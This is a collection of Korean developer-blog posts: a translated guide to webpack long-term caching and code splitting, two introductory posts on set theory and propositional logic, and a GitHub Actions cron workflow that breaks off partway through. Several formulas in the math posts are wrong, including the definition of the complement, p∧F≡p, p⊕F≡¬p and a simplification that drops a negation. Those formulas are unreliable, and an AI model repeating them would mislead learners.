[Make use of long-term caching](https://developers.google.com/web/fundamentals/performance/webpack/use-long-term-caching)을 번역한 글입니다.

## Table of Contents

앱 로딩 속도를 향상시킬 수 있는 방법 중 하나는 캐싱을 활용하는 것이다. 캐싱을 활용하면, 클라이언트에서 매번 리소스를 다시 다운로드 하는 것을 방지해준다.

## 번들 버전과 캐시 해더 사용하기

캐싱을 하는 가장 일반적인 방법은 다음과 같다.

1. 브라우저에 해당 파일의 캐시 기간을 굉장히 길게 설정해 두는 것 (1년 쯤)

```text
# Server header
Cache-Control: max-age=31536000
```

2. 파일의 이름을 바꿔서 강제로 다운로드 하게 하는 것

```html
<!-- Before the change -->
<script src="./index-v15.js"></script>

<!-- After the change -->
<script src="./index-v16.js"></script>
```

이러한 접근 법은 브라우저에 JS 파일을 다운로드 받게 하고, 이를 캐시하여 캐시된 복사본을 사용하게 한다. 브라우저는 파일명이 바뀌거나 1년이 지난 이후에야 새롭게 네트워크를 통해서 파일을 받을 것이다.

웹팩에서는 이와 동일한 작업을 할 수 있다. 버전명을 사요하는 대신, 파일 해시를 지정해서 사용할 수 있다. 파일명에 해시를 포함하기 위해서는 `[chuckhash]`를 사용하면 된다.

```javascript
// webpack.config.js
module.exports = {
  entry: './index.js',
  output: {
    filename: 'bundle.[chunkhash].js',
    // → bundle.8e0d62a03.js
  },
}
```

> 파일명만 바뀌거나, 번들링하는 OS의 버전이 다른 경우에도 다른 해시값이 나올 수도 있다. 이것은 웹팩의 버그로, 아직까지 [뚜렷한 해결책이 없는 듯 하다](https://github.com/webpack/webpack/issues/1479)

만약 클라이언트 사이드에 보낼 파일 명이 필요하다면 `HtmlWebpackPlugin` 이나 `WebpackManifestPlugin`을 사용하면 된다.

[HtmlWebpackPlugin](https://github.com/jantimon/html-webpack-plugin)은 사용법이 간단한 대신에 유연함이 떨어진다. 컴파일 하는 동안, 이 플러그인은 모든 리소스가 들어가 있는 HTML 파일을 만들어 낸다. 만약 서버의 로직이 복잡하지 않다면, 이정도로도 충분할 것이다.

```html
<!-- index.html -->
<!DOCTYPE html>
<!-- ... -->
<script src="bundle.8e0d62a03.js"></script>
```

[WebpackManifestPlugin](https://github.com/danethurber/webpack-manifest-plugin)은 서버사이드에서 복잡한 로직이 포함되어 있다면 사용하기에 좋다. 빌드 과정에서 JSON 파일을 만드는데, 이 파일에는 파일명과 해쉬되지 않는 값, 그리고 파일명과 해쉬된 값을 매핑해준다. 그리고 서버에서는 이 JSON을 활용해 어떤 파일을 사용해야하는지 찾는다.

```json
// manifest.json
{
  "bundle.js": "bundle.8e0d62a03.js"
}
```

## 디펜던시를 추출하여 런타임에서 별도로 실행하기

### 디펜던시

앱의 디펜던시 (의존성)은 실제 앱의 코드보다 변화가 덜 자주 일어난다. 만약 이것을 다른 파일로 분리한다면, 브라우저는 별도로 캐시하기가 한결 편해지고, 앱코드만 바뀐다고 하더라도 이들을 별도로 다운로드 받지 않을 것이다.

> 웹팩에서, 애플리케이션 코드를 각각 다른 파일로 나눈것을 `chunk`라고 부른다.

디펜던시를 별도의 chunk로 분리하기 위해서는, 아래 3가지 과정을 거치면 된다.

1. output 파일명을 `[name].[chunkname].js`로 바꾼다.

   ```javascript
   // webpack.config.js
   module.exports = {
     output: {
       // Before
       filename: 'bundle.[chunkhash].js',
       // After
       filename: '[name].[chunkhash].js',
     },
   }
   ```

2. `entry`를 object로 바꾼다.

```javascript
// webpack.config.js
module.exports = {
  // Before
  entry: './index.js',
  // After
  entry: {
    main: './index.js',
  },
}
```

위 코드에서, `main`은 chunk의 이름이다. 이 이름은 앞서 언급했던 `[name]`을 대체할 것이다. 그럼 지금부터, 앱을 빌드하게 되면 이 chunk는 모든 앱 코드에 포함되게 된다.

3. 웹팩4 부터는, `optimization.splitChunks.chunks.: 'all'`을 붙이면 된다.

```javascript
// webpack.config.js (for webpack 4)
module.exports = {
  optimization: {
    splitChunks: {
      chunks: 'all',
    },
  },
}
```

이 코드는 스마트 코드 스플리팅을 가능하게 해준다. 만약 벤더 코드가 30kb가 넘는다면 (최소화 및 gzip 이전에) 따로 추출해낸다. 그리고 이 단계에서 공통 코드도 추출하게 된다. 이는 빌드시에 여러개의 파일이 나올때 유용하다.

이렇게 바꾸고 나면, 매번 빌드시에 두개의 파일이 생성될 것이다. `main.[chunkhash].js` `vendor.[chunkhash].js` (웹팩 4의 경우 `vendors~main.[chunkhash].js`) 웹팩 4의 경우에는, 디펜던시가 그렇게 크지 않다면 벤더 번들을 만들어 내지 않는다.

```text
$ webpack
Hash: ac01483e8fec1fa70676
Version: webpack 3.8.1
Time: 3816ms
                           Asset   Size  Chunks             Chunk Names
  ./main.00bab6fd3100008a42b0.js  82 kB       0  [emitted]  main
./vendor.d9e134771799ecdf9483.js  47 kB       1  [emitted]  vendor
```

이제 브라우저는 이 두 파일을 따로 캐싱할 것이며, 변화가 있는 파일만 별도로 다운로드 할 것이다.

### 웹팩 런타임 코드

애석하게도, 벤더 코드만 따로 추출하는 것으로는 부족하다. 만약 애플리케이션 코드에서 아래와 같이 변경이 있으면

```javascript
// index.js
…
…

// E.g. add this:
console.log('Wat');
```

그러면 `vendor`에도 변화가 발생했다는 것을 알 수 있다.

```text
                           Asset   Size  Chunks             Chunk Names
./vendor.d9e134771799ecdf9483.js  47 kB       1  [emitted]  vendor
```

```text
                            Asset   Size  Chunks             Chunk Names
./vendor.e6ea4504d61a1cc1c60b.js  47 kB       1  [emitted]  vendor
```

이는 모듈 코드와는 별개로, 웹팩 번들에 런타임(모듈 실행을 관리하는 코드 조각)이 포함되어 있기 때문이다. 코드를 여러 파일로 나누면, 이 파일들이 서로 chunk id로 각각 관련있는 파일들 끼리 연결되어 있기 때문이다.

```javascript
// vendor.e6ea4504d61a1cc1c60b.js
script.src =
  __webpack_require__.p +
  chunkId +
  '.' +
  {
    0: '2f2269c7f0a55a5c1871',
  }[chunkId] +
  '.js'
```

웹팩은 런타임을 가작 마지막에 생성된 chunk에 넣는데, 우리의 경우에는 `vendor`가 그 파일이다. chunk가 각각 생길 때 마다, 코드 조각이 바뀌게되고, 이는 `vendor` 파일 전체의 변화를 초래한다.

이를 해결하기 위해서는, 런타임도 따로 분리해야 한다. webpack 4 버전에서는, `optimization.runtimeChunk`를 활성화 하여야 한다.

```javascript
// webpack.config.js (for webpack 4)
module.exports = {
  optimization: {
    runtimeChunk: true,
  },
}
```

이 작업까지 마치게 되면, 세 개의 파일이 생기게 된다.

```text
$ webpack
Hash: ac01483e8fec1fa70676
Version: webpack 3.8.1
Time: 3816ms
                            Asset     Size  Chunks             Chunk Names
   ./main.00bab6fd3100008a42b0.js    82 kB       0  [emitted]  main
 ./vendor.26886caf15818fa82dfa.js    46 kB       1  [emitted]  vendor
./runtime.79f17c27b335abc7aaf4.js  1.45 kB       3  [emitted]  runtime
```

`index.html`은 위 순서의 반대로 생성되게 된다.

```html
<!-- index.html -->
<script src="./runtime.79f17c27b335abc7aaf4.js"></script>
<script src="./vendor.26886caf15818fa82dfa.js"></script>
<script src="./main.00bab6fd3100008a42b0.js"></script>
```

**더 알아보기**

- [웹팩의 장기간 캐싱](https://webpack.js.org/guides/caching/)
- [웹팩 런타임과 매니페스트에 관련된 문서](https://webpack.js.org/concepts/manifest/)
- [CommonsChunkPlugin을 최대한 활용하기](https://medium.com/webpack/webpack-bits-getting-the-most-out-of-the-commonschunkplugin-ab389e5f318)
- [`optimization.splitChunk`와 `optimization.runtimeChunk` 는 어떻게 작동하는가](https://gist.github.com/sokra/1522d586b8e5c0f5072d7565c2bee693)

## 웹팩 런타임을 인라인으로 처리해서 http request를 절약하기

webpack runtime을 인라인 코드로 넣는 것도 고려해볼만 하다.

```html
<!-- index.html -->
<script src="./runtime.79f17c27b335abc7aaf4.js"></script>
```

```html
<!-- index.html -->
<script>
  !function(e){function n(r){if(t[r])return t[r].exports;…}} ([]);
</script>
```

```html
<!-- index.html -->
<script>
  !function(e){function n(r){if(t[r])return t[r].exports;…}} ([]);
</script>
```

런타임 파일은 작기 때문에, 이를 인라인으로 처리하는 것이 http 요청을 줄이는데 도움을 준다.(http/1에서는 굉장히 중요하지만, HTTP/2에서는 그렇게 크지 않지만 - 아무튼 도움이 된다.)

[HtmlWebpackPlugin](https://github.com/jantimon/html-webpack-plugin)을 활용하여 html을 만든다면, [InlineSourcePlugin](https://github.com/DustinJackson/html-webpack-inline-source-plugin)을 활용하면 된다.

```javascript
// webpack.config.js
const HtmlWebpackPlugin = require('html-webpack-plugin')
const InlineSourcePlugin = require('html-webpack-inline-source-plugin')

module.exports = {
  plugins: [
    new HtmlWebpackPlugin({
      // Inline all files which names start with "runtime~" and end with ".js".
      // That’s the default naming of runtime chunks
      inlineSource: 'runtime~.+\\.js',
    }),
    // This plugin enables the "inlineSource" option
    new InlineSourcePlugin(),
  ],
}
```

만약 커스텀 서버 로직을 사용하고 있다면,

1. [WebpackManifestPlugin](https://github.com/danethurber/webpack-manifest-plugin)을 추가하여 생성된 런타임 chunk의 이름을 알아낸다.

```javascript
// webpack.config.js (for webpack 4)
const ManifestPlugin = require('webpack-manifest-plugin')

module.exports = {
  plugins: [new ManifestPlugin()],
}
```

이 플러그인과 함께 빌드하면, 아래와 같은 파일이 만들어진다.

```json
// manifest.json
{
  "runtime~main.js": "runtime~main.8e0d62a03.js"
}
```

2. 런타임 chunk의 내용을 편한대로 인라인으로 적어둔다.

```javascript
// server.js
const fs = require('fs')
const manifest = require('./manifest.json')

const runtimeContent = fs.readFileSync(manifest['runtime~main.js'], 'utf-8')

app.get('/', (req, res) => {
  res.send(`
    …
    <script>${runtimeContent}</script>
    …
  `)
})
```

## 당장 필요하지 않은 코드는 레이지 로딩으로 처리하기

가끔은, 페이지를 중요한 부분과 덜 중요한 부분으로 나눌 수 있다.

- 만약 유튜브에서 영상을 로딩한다면, 댓글보다는 영상이 더 중요하다
- 만약 뉴스사이트에서 기사를 본다면, 기사가 광고보다는 더 중요하다

이러한 경우, 더 중요한 요소를 먼저 다운로드 하고, 덜 중요한 것은 나중에 다운로드 하여 페이지 성능 향상에 도움을 줄 수 있다. [import() 함수](https://webpack.js.org/api/module-methods/#import-)와 [code-splitting](https://webpack.js.org/guides/code-splitting/)을 아래와 같이 활용하자.

```javascript
// videoPlayer.js
export function renderVideoPlayer() { … }

// comments.js
export function renderComments() { … }

// index.js
import {renderVideoPlayer} from './videoPlayer';
renderVideoPlayer();

// …Custom event listener
onShowCommentsClick(() => {
  import('./comments').then((comments) => {
    comments.renderComments();
  });
});
```

`import()`를 활용하여 다이나믹 로딩을 할 모듈을 지정해둔다. 웹팩이 해당 코드를 만나게 되면, 이를 별도의 chunk로 분리하게 된다.

```text
$ webpack
Hash: 39b2a53cb4e73f0dc5b2
Version: webpack 3.8.1
Time: 4273ms
                            Asset     Size  Chunks             Chunk Names
      ./0.8ecaf182f5c85b7a8199.js  22.5 kB       0  [emitted]
   ./main.f7e53d8e13e9a2745d6d.js    60 kB       1  [emitted]  main
 ./vendor.4f14b6326a80f4752a98.js    46 kB       2  [emitted]  vendor
./runtime.79f17c27b335abc7aaf4.js  1.45 kB       3  [emitted]  runtime
```

그리고 해당 코드를 `import()` 함수를 만날 때만 실행하게 된다.

이는 `main` 번들을 더 작게하여, 초기 로딩 타임을 줄여주는데 도움을 준다. 더 나아가 이는 캐싱에도 도움을 준다. main chunk의 코드에 변화가 있어도, `comments` chunk에는 변화가 생기지 않는다.

> 만약 바벨을 사용한다면, [syntax-dynamic-import](https://www.npmjs.com/package/babel-plugin-syntax-dynamic-import)를 사용해야 해당 코드를 사용할 수 있다.

**더 읽어보기**

- [import()관련 webpack 문서](https://webpack.js.org/api/module-methods/#import-)
- [import()](https://github.com/tc39/proposal-dynamic-import) 구현을 위한 자바스크립트 제안

## 코드를 라우팅과 페이지 단위로 나누기

애플리케이션에 다양한 페이지와 라우팅이 있는데, 만약 모든 자바스크립트 코드가 하나의 자바스크립트 파일 (`main`)에 의존하고 있다면, 각 요청마다 몇 바이트 씩 더 소비하고 있을 수 있다. 예를 들어, 사용자가 페이지에 방문했을 때

![](https://developers.google.com/web/fundamentals/performance/webpack/site-home-page.png)

다른 페이지에 있는 아티클과 관련된 코드를 미리 로딩할 필요가 없다. 만약 또한 사용자가 항상 특정 페이지에만 반복하고, 코드에 변화가 있을 경우에는 - 웹팩이 모든 번들의 무효화 시키므로 전체 앱을 다운로드 해야 하는 불편함이 존재한다.

만약 애플리케이션을 페이지 (SPA의 경우 라우팅) 단위로 나눈다면, 사용자는 해당 영역에 필요한 코드만 다운로드 할 수 있다. 나아가 브라우저는 캐시를 더욱 장녀스럽게 활용할 수 있다. 하나의 페이지에서만 코드가 변경 되었다면, 변경된 chunk만 무효화 할 것이다.

### 싱글페이지 애플리케이션의 경우

라우팅으로 관리하는 싱글 페이지 애플리케이션의 경우 `import()`를 활용하는 것이 좋다. 만약 프레임워크를 활용하고 있다면,

- 리액트 [react-router의 코드 스플리팅](https://reacttraining.com/react-router/web/guides/code-splitting)
- 뷰 [vue.js의 레이지 로딩 라우팅](https://router.vuejs.org/en/advanced/lazy-loading.html)

### 전통적인 멀티페이지 애플리케이션

webpack의 [entry points](https://webpack.js.org/concepts/entry-points/)를 활용한다. 만약 애플리케이션에 세개의 페이지가 있다면, 아래와 같은 방식으로 나누면 된다.

```javascript
// webpack.config.js
module.exports = {
  entry: {
    home: './src/Home/index.js',
    article: './src/Article/index.js',
    profile: './src/Profile/index.js',
  },
}
```

각 엔트리 파일별로, 웹팩은 각 엔트리에서 필요한 모듈을 별도의 의존성으로 나누어서 빌드 해준다.

```text
$ webpack
Hash: 318d7b8490a7382bf23b
Version: webpack 3.8.1
Time: 4273ms
                            Asset     Size  Chunks             Chunk Names
      ./0.8ecaf182f5c85b7a8199.js  22.5 kB       0  [emitted]
   ./home.91b9ed27366fe7e33d6a.js    18 kB       1  [emitted]  home
./article.87a128755b16ac3294fd.js    32 kB       2  [emitted]  article
./profile.de945dc02685f6166781.js    24 kB       3  [emitted]  profile
 ./vendor.4f14b6326a80f4752a98.js    46 kB       4  [emitted]  vendor
./runtime.318d7b8490a7382bf23b.js  1.45 kB       5  [emitted]  runtime
```

예를 들어,`article` 페이지에 lodash가 들어 있다면, `home`과 `profile`에는 해당 라이브러리가 포함되지 않으므로, `home`만 방문하는 유저는 `lodash`를 받지 않게 된다.

그러나 이 방법도 단점이 존재한다. 만약 두개의 entry에서 lodash가 필요하고, 해당 의존성으로 `vendor`로 가져가지 않았다면 두개의 엔트리 포인트에서 모두 lodash를 가지게 된다. 이를 해결하기 위해서는 , wepback4의 `optimization.splitChunks.chunks: 'all'`를 웹팩 설정에 넣으면 된다.

```javascript
// webpack.config.js (for webpack 4)
module.exports = {
  optimization: {
    splitChunks: {
      chunks: 'all',
    },
  },
}
```

이 옵션은 스마트 코드 스플리팅을 활성화 시킨다. 이 옵션은 각 다른 파일에 있는 공통 코드를 자동으로 공통단위로 올려준다.

- [웹팩의 entry points](https://webpack.js.org/concepts/entry-points/)
- [웹팩의 CommonsChunkPlugin](https://webpack.js.org/plugins/commons-chunk-plugin/)

## 모듈 ID를 더욱 안정적으로 관리하기

코드를 빌드 할때, 웹팩은 각각의 모듈에 ID를 부여한다. 이 ID 는 번들 내의 `require()`로 사용 된다. 이러한 ID들은 모듈 경로 이전에 있는 빌드 결과물에서 볼 수 있다.

```text
$ webpack
Hash: df3474e4f76528e3bbc9
Version: webpack 3.8.1
Time: 2150ms
                           Asset      Size  Chunks             Chunk Names
      ./0.8ecaf182f5c85b7a8199.js  22.5 kB       0  [emitted]
   ./main.4e50a16675574df6a9e9.js    60 kB       1  [emitted]  main
 ./vendor.26886caf15818fa82dfa.js    46 kB       2  [emitted]  vendor
./runtime.79f17c27b335abc7aaf4.js  1.45 kB       3  [emitted]  runtime
```

```text
   [0] ./index.js 29 kB {1} [built]
   [2] (webpack)/buildin/global.js 488 bytes {2} [built]
   [3] (webpack)/buildin/module.js 495 bytes {2} [built]
   [4] ./comments.js 58 kB {0} [built]
   [5] ./ads.js 74 kB {1} [built]
    + 1 hidden module
```

기본값으로, ID는 카운터로 계산된다. (첫번째 모듈은 0, 두번째는 1...) 문제는 여기에서 모듈이 추가 된다면, 이 모듈이 모듈 리스트의 중간에 나타나서 모든 다음 모듈의 아이디를 바꿔 버린다는 것이다.

```text
$ webpack
Hash: df3474e4f76528e3bbc9
Version: webpack 3.8.1
Time: 2150ms
                           Asset      Size  Chunks             Chunk Names
      ./0.5c82c0f337fcb22672b5.js    22 kB       0  [emitted]
   ./main.0c8b617dfc40c2827ae3.js    82 kB       1  [emitted]  main
 ./vendor.26886caf15818fa82dfa.js    46 kB       2  [emitted]  vendor
./runtime.79f17c27b335abc7aaf4.js  1.45 kB       3  [emitted]  runtime
   [0] ./index.js 29 kB {1} [built]
   [2] (webpack)/buildin/global.js 488 bytes {2} [built]
   [3] (webpack)/buildin/module.js 495 bytes {2} [built]
```

여기에 모듈을 추가했다고 하면

```text
   [4] ./webPlayer.js 24 kB {1} [built]
```

`comments`는 아이디가 밀려서 5번으로 바뀌게 되었다.

```text
   [5] ./comments.js 58 kB {0} [built]
```

그리고 `adsj.js`는 6번으로 밀린다.

```text
   [6] ./ads.js 74 kB {1} [built]
       + 1 hidden module
```

이는 실제 코드가 바뀌지 않았음에도 불구하고 이후에 모든 모듈들을 무효화 시켜 버린다. 따라서 이를 해결하기 위해서는, 모듈 아이디를 계산하는 방법을 [HashedModuleIdsPlugin](https://webpack.js.org/plugins/hashed-module-ids-plugin/)으로 바꾸는 것이 있다. 이는 카운토를 기반으로 한 ID를 모듈 경로를 해쉬한 방식으로 고친다.

```text
$ webpack
Hash: df3474e4f76528e3bbc9
Version: webpack 3.8.1
Time: 2150ms
                           Asset      Size  Chunks             Chunk Names
      ./0.6168aaac8461862eab7a.js  22.5 kB       0  [emitted]
   ./main.a2e49a279552980e3b91.js    60 kB       1  [emitted]  main
 ./vendor.ff9f7ea865884e6a84c8.js    46 kB       2  [emitted]  vendor
./runtime.25f5d0204e4f77fa57a1.js  1.45 kB       3  [emitted]  runtime
```

```text
[3IRH] ./index.js 29 kB {1} [built]
[DuR2] (webpack)/buildin/global.js 488 bytes {2} [built]
[JkW7] (webpack)/buildin/module.js 495 bytes {2} [built]
[LbCc] ./webPlayer.js 24 kB {1} [built]
[lebJ] ./comments.js 58 kB {0} [built]
[02Tr] ./ads.js 74 kB {1} [built]
    + 1 hidden module
```

이 방법을 활용하면, 모듈의 ID는 모듈이 삭제되거나 이름이 변경될때만 바뀌게 된다. 새로운 모듈의 등장은 더 이상 다른 모듈의 ID에 영향을 미치지 않는다.

```javascript
// webpack.config.js
module.exports = {
  plugins: [new webpack.HashedModuleIdsPlugin()],
}
```

## 요약

- 번들을 캐시하고, 번들명을 바꿔서 다른 버전을 관리하라
- 애플리케이션 코드를 app code, vender code, runtime으로 나누어라
- runtime코드는 인라인으로 관리해서 HTTP 요청을 줄여라
- 중요하지 않은 코드는 `import`로 레이지 로딩하라
- 불필요한 것의 로딩을 줄이기 위해 라우팅/페이지 단위로 코드를 나눠라.

---

Source: https://yceffort.kr/2020/07/math-for-programmer-chapter1-2-set.md
Title: 프로그래머 기초 수학 1-2 - 집합
Description: 집합
Date: 2020-07-17
Tags: algorithm

## Table of Contents

## 집합

개별적인 개체들의 모임을 집합이라고 하며, 집합을 이루는 개체를 원소라고 한다. 집합을 이루는 원소는 `{ }` 중괄호 로 나타내며, 원소나열법과 조건 제시법으로 표시한다. 순서는 상관없지만, 중복은 하지 않는다.

$$
A = \{ 1, 5, 7, 3, 9 \}
$$

$$
B = \{ 2, 4, 6, \ldots, 100 \}
$$

조건제시법은 집합의 원소들에 공통되는 조건법을 기술하는 방법이다.

$$
C = \{ x | 1 \leq x \leq 100 \}
$$

어떤 원소가 집합에 속하는지는 $\in$ $\notin$ 으로 표시한다. 어떤 집합의 원소의 개수는 $| A |$ 로 나타낸다.

어떤 집합 A의 모든 원소가 집합 B에 속해 있을 경우 부분집합이라고 하고 $A \subset B$ 라고 쓰며, 이 경우에는 A가 B에 포함된다고 한다. 부분집합이 아닐 경우엔 $A \not\subset B$ 으로 표시한다.

원소의 개수가 유한할 경우 유한집합, 무한할 경우 무한집합으로 부른다. 아무런 원소도 없을 경우에는 공집합이라고 하며, 기호로는 $\emptyset$ 으로 표시한다.

만약 $A \subset B$ $B \subset A$ 가 동시에 성립한다면 두 집합의 원소는 완전히 동일한 것으로, `상동`이라고 한다.한편 $A \subset B$이지만 $A \neq B$ 인 경우, B에는 A의 원소가 아닌것도 포함되어 있다는 뜻이므로, 진부분집합이라고 한다.

벤다이어 그램을 이용하면 이해하기가 더 쉽다.

![venn](./images/venn1.png)

집합 A와 B를 한 데 모은 집합르 합집합이라고 하며, $A \cup B$ 이라고 한다. 합집합을 조건제시법으로 하면 아래와 같다.

$$
A \cup B = \{ x | (x \in A) \lor (x \in B) \}
$$

반대로 공통된 요소만 골라냈다면 교집합이라고 하며 $A \cap B$라고 나타낸다.

$$
A \cap B = \{ x | (x \in A) \land (x \in B) \}
$$

만약 교집합이 $\emptyset$ 인 경우, 두집합 간에 공통된 원소가 하나도 없는 경우는 서로소라고 한다.

때로는 어떤 집합을 제외한 나머지 모든 것을 나타내야할 수도 있다. 기본전제가 되는 집합을 $U$ 전체 집합이라고 한다. 그리고 $U$에서 $A$를 제외 한 것을 $A$ 의 여집합이라고 하며, $A^c$ 로 나타낸다.

$$
A^c = \{ x | (x \notin A) \land (x \notin U) \}
$$

합집합 $A \cup B$ 의 크기를 구할 때는 주의해야한다.

$$
|A \cup B| = |A| + |B| - | A \cap B |
$$

이것은 아래의 식과 동일하다.

$$
A - B = \{ x | (x \in A) \cap (x \notin B) \} = A \cap B^c
$$

그리고 이러한 집합 연산에도 드모르간의 법칙이 성립한다.

$$
( A \cup B )^c = \{ x | \lnot(x \in A \lor x \in B) \} = \{ x | (x \notin A) \land (x \notin B) \} = A^c \cap B^c
( A \cap B )^c = \{ x | \land (x \in A \land x \in B) \} = \{ x | (x \notin A) \lor (x \notin B) \} = A^c \cup B^c
$$

집합 연산에서 교환, 결합, 분배 법칙은 어떨까? 먼저 교환법칙을 살펴보자. 합집합과 교집합은 앞뒤가 바뀌어도 성립하지만, 차집합은 그렇지 못하다.

$$
B \cup A = \{ x | x \in B ) \lor (x \in A) \} = A \cup B
B \cap A = \{ x | x \in B ) \land (x \in A) \} = A \cap B
B-A = B \cap A^c \not = A \cap B^c = A-B
$$

결합법칙 역시 합집합과, 교집합의 경우애는 성립하지만, 차집합은 성립하지 않는다.

$$
(A \cup B) \cup C = A \cup (B \cup C)
(A \cap B) \cap C = A \cap (B \cap C)
(A - B) - C = (A \cap B^c) - C = A \cap B^c \cap C^c
A - (B - C) = A - (B \cap C^c) = A \cap (B \cap C^c)^c = A \cap (B^c \cup C)
$$

분배 법칙 또한 합집합 교집합에서는 성립한다는 것을 알 수 있다.

$$
A \cup (B \cap C) = (A \cup B) \cap (A \cup C)
A \cap (B \cup C) = (A \cap B) \cup (A \cap C)
$$

---

Source: https://yceffort.kr/2020/07/math-for-programmer-chapter1-1-logical-operation.md
Title: 프로그래머 기초 수학 1-1 - 명제와 논리연산
Description: 명제와 논리연산
Date: 2020-07-16
Tags: algorithm

## Table of Contents

## 명제

명제란 참인지 거짓인지 판별할 수 있는 문장이나 수식을 말한다.

- 달은 지구의 위성이다 (참)
- 고래는 어류다 (거짓)
- $7 \times 8 = 56$ (참)
- $x^2 - 2x - 1 = 0$ ($x$ 값이 정해지지 않아 알수 없다. 이는 명제다 가이다.)

## 논리연산

이러한 명제에도 기본적인 연산이 존재한다. 명제는 진리값을 다루므로 그에 대한 연산은 논리적인 성질을 띄고, 이러한 논리연산을 명제에 적용하면 그 결과 새로운 명제가 만들어진다.

| 논리연산           | 기호 | 뜻                                |
| ------------------ | ---- | --------------------------------- |
| 논리합(OR)         | ∨    | 적어도 하나 이상의 명제가 참인가  |
| 논리곱(AND)        | ∧    | 주어진 모든 명제가 참인가?        |
| 부정(NOT)          | ¬    | 원래 명제의 참과 거짓을 뒤바꾼다. |
| 배타적 논리합(XOR) | ⊕    | 둘중하나만 참인가?                |

논리연산의 결과를 표 형태로 쉽게 나타낸 것을 진리표라고 한다.

| $p$ | $q$ | $p \lor q$ |
| --- | --- | ---------- |
| $T$ | $T$ | $T$        |
| $T$ | $F$ | $T$        |
| $F$ | $T$ | $T$        |
| $F$ | $F$ | $F$        |

| $p$ | $q$ | $p \land q$ |
| --- | --- | ----------- |
| $T$ | $T$ | $T$         |
| $T$ | $F$ | $F$         |
| $F$ | $T$ | $F$         |
| $F$ | $F$ | $F$         |

| $p$ | $\lnot q$ |
| --- | --------- |
| $T$ | $F$       |
| $F$ | $T$       |

$p \lor \lnot p$와 같이 항상 참인 명제를 항진명제라고 하고, $p \land \lnot p$ 처럼 항상 거짓인 명제는 모순명제라고 한다.

만약 명제를 연산한 결과에 부정연산을 하게 되면 어떻게 될까?

$$
\lnot (p \lor q)
$$

위 연산은 `p나 q 둘중 하나라도 참이면` 의 결과가 참이니, OR을 부정했다면 그 반대로 `p와 q 둘중 어떤 것도 참이 아니라면` 연산의 결과가 될 것이다.

$$
\lnot p \land \lnot q
$$

이 처럼 같은 진리값을 갖는 두가지 명제를 동치라고 하고, 기호로는 $\equiv$ 라고 한다.

위에서 언급했던 식은 이렇게 쓸 수 있다.

$$
\lnot (p \lor q) \equiv \lnot p \land \lnot q
$$

$$
\lnot (p \land q) \equiv \lnot p \lor \lnot q
$$

이러한 동치관계는 [드모르간의 법칙](https://ko.wikipedia.org/wiki/%EB%93%9C_%EB%AA%A8%EB%A5%B4%EA%B0%84%EC%9D%98_%EB%B2%95%EC%B9%99) 이라고 한다.

> 논리합은 논리곱과 부정기호로, 논리곱은 논리합과 부정기호로 표현할 수 있음을 가리키는 법칙이다. (킹무위키)

```text
not(A or B)=(not A) and (not B)
not(A and B)=(not A) or (not B)
```

논리합은 덧셈과, 논리곱은 곱셈과 유사한면이 있고, 진리값 T, F는 각각 1, 0 의 성질을 갖는다. 그러나 진리값이 숫자는 아니므로 엄연히 차이가 있다.

$$
p \lor F \equiv p
p \land F \equiv p
$$

숫자와는 다르게 자기 자신의 논리합과 논리곱은 자신으로 돌아온다.

$$
p \lor p \equiv p
p \land p \equiv p
$$

교환법칙도 적용된다.

$$
p \lor q \equiv q \lor p
p \land q \equiv q \land p
$$

결합법칙 역시 모두에게 동일하게 적용된다.

$$
(p \lor q) \lor r \equiv p \lor (q \lor r)
(p \land q) \land r \equiv p \land (q \land r)
$$

분배법칙은 수학과 약간 다르다.

$$
p \lor (q \land r) \equiv (p \lor q) \land (p \lor r)
p \land (q \lor r) \equiv (p \land q) \lor (p \land r)
$$

## 배타적 논리합 $\oplus$

이 연산은 둘 중 어느 한쪽만 참일 때만 참이다. 순서는 상관없다. 따라서 교환법칙이 적용된다. 그리고 마찬가지로 결합법칙도 적용된다.

그리고 배타적 논리합은 아래와 같이 특이현 결과를 낳기도 한다.

$$
p \oplus T \equiv \lnot p
p \oplus F \equiv \lnot p
p \oplus p \equiv F
$$

그리고 어떤 명제에서 다른 명제를 두번 연달아 XOR 하면 다시 원래의 연산으로 돌아온다.

$$
(p \oplus q) \oplus q \equiv p
$$

이를 증명해보자.

$$
(p \oplus q) \oplus q
p \oplus (q \oplus q)
p \oplus F \equiv p
$$

이게 코드에서 무슨 소용이 있냐고?

다음과 같은 조건문이 있다고 가정해보자.

```javascript
var question = (!cond1 || cond2) && !(cond1 && cond2)
```

이는 조건문을 파악하기 어렵고 까다롭게 만든다. 논리연산으로 잘 만들어보자.

$$
(\lnot p \lor q) \land (p \land q)
$$

이를 드모르간의 법칙과 분배법칙을 활용해보자.

$$
(\lnot p \lor q) \land \lnot(p \land q)
(\lnot p \lor q) \land (\lnot p \lor \lnot q)
\lnot p \lor (q \land \lnot q)
\lnot p \lor F
\lnot p
$$

와! 결국 위 코드는 이것과 같았다.

```javascript
var question = !cond1
```

---

Source: https://yceffort.kr/2020/07/cron-job-with-github-actions.md
Title: Github 액션으로 스케쥴링 작업하기
Description: Github actions가 나오면서 cron job을 실행하기가 더 편해졌습니다. 굳이 내 컴퓨터를 24시간 돌리고 있을 필요도 없고, 비싼 돈 주며 어디 이상한 compute를 쓸 필요도 없어졌습니다. [물론 공짜로 쓸 수 있는 Cron 서비스](https://www.easycron.com/)도 있지만 아무래도 github 과 연동할 수 있다는 점이 큰...
Date: 2020-07-16
Tags: devops, github

Github actions가 나오면서 cron job을 실행하기가 더 편해졌습니다. 굳이 내 컴퓨터를 24시간 돌리고 있을 필요도 없고, 비싼 돈 주며 어디 이상한 compute를 쓸 필요도 없어졌습니다. [물론 공짜로 쓸 수 있는 Cron 서비스](https://www.easycron.com/)도 있지만 아무래도 github 과 연동할 수 있다는 점이 큰 장점인 거 같네요.

## cron 설정

```yaml
name: cron

on:
  schedule:
    # 실제 스케쥴 작업이 시작될 cron을 등록하면 됩니다.
    # 크론은 https://crontab.guru/ 여기서 확인하면 좋을 것 같습니다.
    # 이 크론은 평일 5시 (한국시간 14시)에 실행됩니다.
    - cron: '0 5 * * 1-5'

jobs:
  cron:
    runs-on: ubuntu-latest
    # 빌드 매트릭스는 여러가지 환경에서 실행될 수 있게 끔 도움을 줍니다.
    # 어차피 저는 테스트가 필요한 것이 아니고, 일반적인 node환경 만 필요하므로 이렇게만 설정해두겠습니다.
    # https://docs.github.com/en/actions/configuring-and-managing-workflows/configuring-a-workflow#configuring-a-build-matrix
    strategy:
      matrix:
        node-version: [12.x]

    # 현재 레파지토리를 체크아웃합니다.
    # https://github.com/actions/checkout
    steps:
      - uses: actions/checkout@v2

      # Nodejs를 셋업합니다.
